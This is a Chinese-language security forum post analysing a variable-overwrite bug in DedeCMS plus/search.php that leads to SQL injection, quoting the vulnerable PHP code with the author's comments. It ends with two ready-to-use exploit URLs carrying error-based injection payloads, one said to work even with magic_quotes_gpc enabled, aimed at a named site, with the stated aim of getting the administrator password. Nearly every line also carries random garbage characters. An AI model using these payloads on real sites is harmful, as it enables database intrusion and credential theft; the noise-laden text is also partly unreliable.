微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.7 M: f0 f9 S0 ~( ]
作者: c4rp3nt3r@0x50sec.org
; l! `" K% s% X; W1 p$ \Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.5 L0 U. v2 `: J* `) b
! {& d( k( u: l& v' A" o黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.& b4 d! _$ {1 L( h
- z( W( l$ ?5 ]4 F/ k; Q2 _============" |/ f5 ~& [* S- ^2 ^! T
: r) J( f! U1 }9 { V# T% T
: c5 M1 j2 c& Q5 [$ v
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.& g1 x- ]3 z* k7 ~; d3 q) c
- |2 ?* q: A# `$ A
require_once(dirname(__FILE__).”/../include/common.inc.php”);4 z# D& b9 M/ N" r
require_once(DEDEINC.”/arc.searchview.class.php”);: A+ U$ A: y2 X6 k
. @% I9 P+ m ]* H$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;" R3 q8 i, ] z2 c$ r$ b
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
9 U, d5 B) }2 K5 ^: |$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;6 X" ~5 e! c2 j9 s6 D
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;5 J- H9 E' U2 l ^9 s. z
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;; s v; a, l: L% M% W# E
! w. R5 O1 ^' i' Gif(!isset($orderby)) $orderby=”;4 m# f1 c* n0 d/ M0 x# g& y
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
! k* \& C& o+ J4 h4 r
, d$ N+ ]7 a+ a2 C5 k4 v0 @ ) k% c: ~$ x" G
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
- j, \* [0 l' i1 E. f( Xelse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
' z7 `4 G0 M9 d
l. u0 N f6 E, R5 l! Pif(!isset($keyword)){4 v) A0 |& h4 ?1 r& ~
if(!isset($q)) $q = ”;
4 C/ V: F6 O: a- t) z- \2 v- q. f $keyword=$q;& i$ P, b2 ]8 D G- n
}
, l- p( N0 @) z( {- c3 _5 N5 R- ]
" V1 i. o& {: K$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));8 g" Y P& q7 s3 X
* U; |8 X) D% b% J( D
//查找栏目信息5 L# s% J1 Z: k( L2 O9 o2 K8 J
if(empty($typeid))
: v2 T5 y2 D6 ?9 C" V{; ]. \1 W9 ~3 X# X# R
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;9 e/ l+ I# G! A. N$ ~
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )" O0 ]$ z! }) X4 @1 O7 {
{, g* g4 I/ M4 f
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
/ p( l9 d7 K/ |0 N- i3 j6 f. G fwrite($fp, “<”.”?php\r\n”);
& @4 F6 n& m* | $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);1 ~- v. z' A$ e, I2 c0 A: |+ V
$dsql->Execute();
- F* R4 A" t4 b) ^ while($row = $dsql->GetArray())
- W5 B8 O9 H" p* e, m' P- P {
7 x4 n. W9 H6 V1 ^5 h/ m3 N( ~8 x fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
: l" t1 w4 Q1 T0 w( ?9 Y- D }$ d2 Z6 ], Y# q6 P2 T( S- \9 c, J
fwrite($fp, ‘?’.'>’);
/ r7 q. s, C7 |! {! h0 o; U# T% ? fclose($fp);
/ H- Y8 ^: Y5 r7 H }: d, q& h* h- t* Y+ O4 L: G
//引入栏目缓存并看关键字是否有相关栏目内容 e6 F& b, X, B' w3 ~& m
require_once($typenameCacheFile);
, P1 t$ [" V- g, h' T1 ?* s& v//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
; o" r- l* Q- Q. _ i# y//
0 c: l$ A7 P# m& C if(isset($typeArr) && is_array($typeArr))
, L0 ~' t; ]" a& i: G, w; e {
8 F& c8 g: [# U$ e: O foreach($typeArr as $id=>$typename); d3 |2 q, f0 t i9 t
{* Y: `& d+ z3 ^! h8 p( k" @
7 J1 `; t0 C, q/ V( X( t4 E <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过& @8 f# X% i, Q* O- [
if($keyword != $keywordn)
9 R7 }1 T# [3 O3 U {
) x6 J* o( x1 a $keyword = $keywordn;
' j. h6 ~0 H9 d: t+ {( y <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设' z& k# E" d- _$ h- F( I
break;
# Y0 [" O& _0 y1 C. S* E% W }. A# o1 ^; T% W6 X* i
}
3 R: e6 |. }7 ^1 q4 O5 ^. j }
9 J0 ]" I5 q4 i3 }}
, s+ y& p% f6 H" Y然后plus/search.php文件下面定义了一个 Search类的对象 .+ M' P0 n: Y" S- Y7 l: W* M
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.- t: u5 Q/ R6 ~3 y+ `; t/ J$ R
$this->TypeLink = new TypeLink($typeid);/ |3 C& j8 `! m* n! u s" l7 I
; I1 w) q: F( q1 v
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
& [ q* l" \6 Q' P( q
( ?' N3 m$ C! n* w3 |) R ]0 Iclass TypeLink
5 ^" J/ V9 ^9 K0 o+ n{$ x5 O3 Z# ]7 x/ @4 F( f
var $typeDir;
) S# F: z6 f. q; c var $dsql;& X! J2 a: ]* o
var $TypeID;( b$ N( |! `( F
var $baseDir;9 K% M6 _, c2 U6 a) y6 R1 \
var $modDir;
- ^' `1 {& P3 [& A1 _ var $indexUrl;
0 k1 [( p" o# j( W+ e- ` var $indexName;! @/ b% |) z- A3 K* h7 b x
var $TypeInfos;# L; F% U8 e8 A
var $SplitSymbol;
5 Z$ R, B9 C. S" F: V5 P var $valuePosition;! Y* o: c( v( C$ s) N) V6 m
var $valuePositionName;
) W; F, u; ?, M0 X( o6 C# ? var $OptionArrayList;//构造函数///////
2 N g. }: d4 G- ` //php5构造函数
0 W5 K- d. `7 i& R; s& W& l function __construct($typeid)
6 C8 H+ Q& d& Q8 F3 F5 S' X {
{4 t$ Q; i5 s2 ` $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];2 `7 m; k( P" _$ \$ y9 l% `# _: w
$this->indexName = $GLOBALS['cfg_indexname'];
1 ?8 F$ Y, X. o' H2 ` $this->baseDir = $GLOBALS['cfg_basedir'];
6 | ]9 X1 w& O $this->modDir = $GLOBALS['cfg_templets_dir'];" t* H- C+ ^% L* @% T/ Y
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];# j. `+ g g7 u: t, O8 J
$this->dsql = $GLOBALS['dsql'];& c: o! z, X5 L4 k. g$ S
$this->TypeID = $typeid;
+ l- W* J @; z, f- c/ F $this->valuePosition = ”;0 g1 r1 c9 b( }
$this->valuePositionName = ”;& P3 u) h$ ~; r' V6 q
$this->typeDir = ”;
5 K8 G2 W" B- O. D* l. L1 y $this->OptionArrayList = ”;
. E1 L4 J0 O* i7 b3 |, V
7 T1 ?6 }6 t# n" N0 T //载入类目信息. ~/ b( E2 B, }2 M2 j7 `1 C
$ O" D7 n( B6 r: N& {" v <font color=”Red”>$query = “SELECT tp.*,ch.typename as
# n6 U8 G: u) X9 k" f+ a, @ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
' N/ F$ j/ \* o`#@__channeltype` ch! F2 V* P4 G# T5 G2 M" w$ ~
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
* l U4 D' F: y$ d
% g$ p% w: M$ @2 R9 h if($typeid > 0)' G1 D/ }* C l3 a8 d4 `4 y+ h
{( g1 X8 q4 s, A( H l/ d
$this->TypeInfos = $this->dsql->GetOne($query);! A) P; j& [; @0 n' k& A0 _4 A
利用代码一 需要 即使magic_quotes_gpc = Off
8 @9 R9 k0 N( B6 c0 s 4 r2 Q7 t6 H$ C9 Q! [( l
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title, ^0 ?: x0 F8 k( @
3 b$ m! E$ o. Z# F( q$ L
这只是其中一个利用代码… Search 类的构造函数再往下
6 r. s: g5 S! J! G, X9 c : S6 s/ Y9 H' H+ e
……省略
* u( f3 R' K. ~& h6 ]$this->TypeID = $typeid;
6 r! i3 G6 F7 |0 e……省略
9 h6 B. I9 ^$ Dif($this->TypeID==”0″){
; ^/ ^* C$ O% W3 v: n6 r $this->ChannelTypeid=1;
5 P" f7 l4 p; |+ V- ^" [ }else{
% \7 j" Y4 @+ X5 k, O5 C $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲; b& A+ ?, t6 P8 x- I$ a# a8 V' T
//现在不鸡肋了吧亲…! A8 k0 Z3 _& D) E
$this->ChannelTypeid=$row['channeltype'];
+ ?& y/ x: E1 s ' m3 C& V: A+ S1 A
}! D8 R& H& R; g0 V2 T
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.- T- a$ b" R0 R
* ?1 l% s) F: s+ m5 iwww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title q1 g& V/ W8 {" H' o% y
) g4 I" o; d: g2 _' g7 o. U( ]如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
- Z/ e. P* C8 n |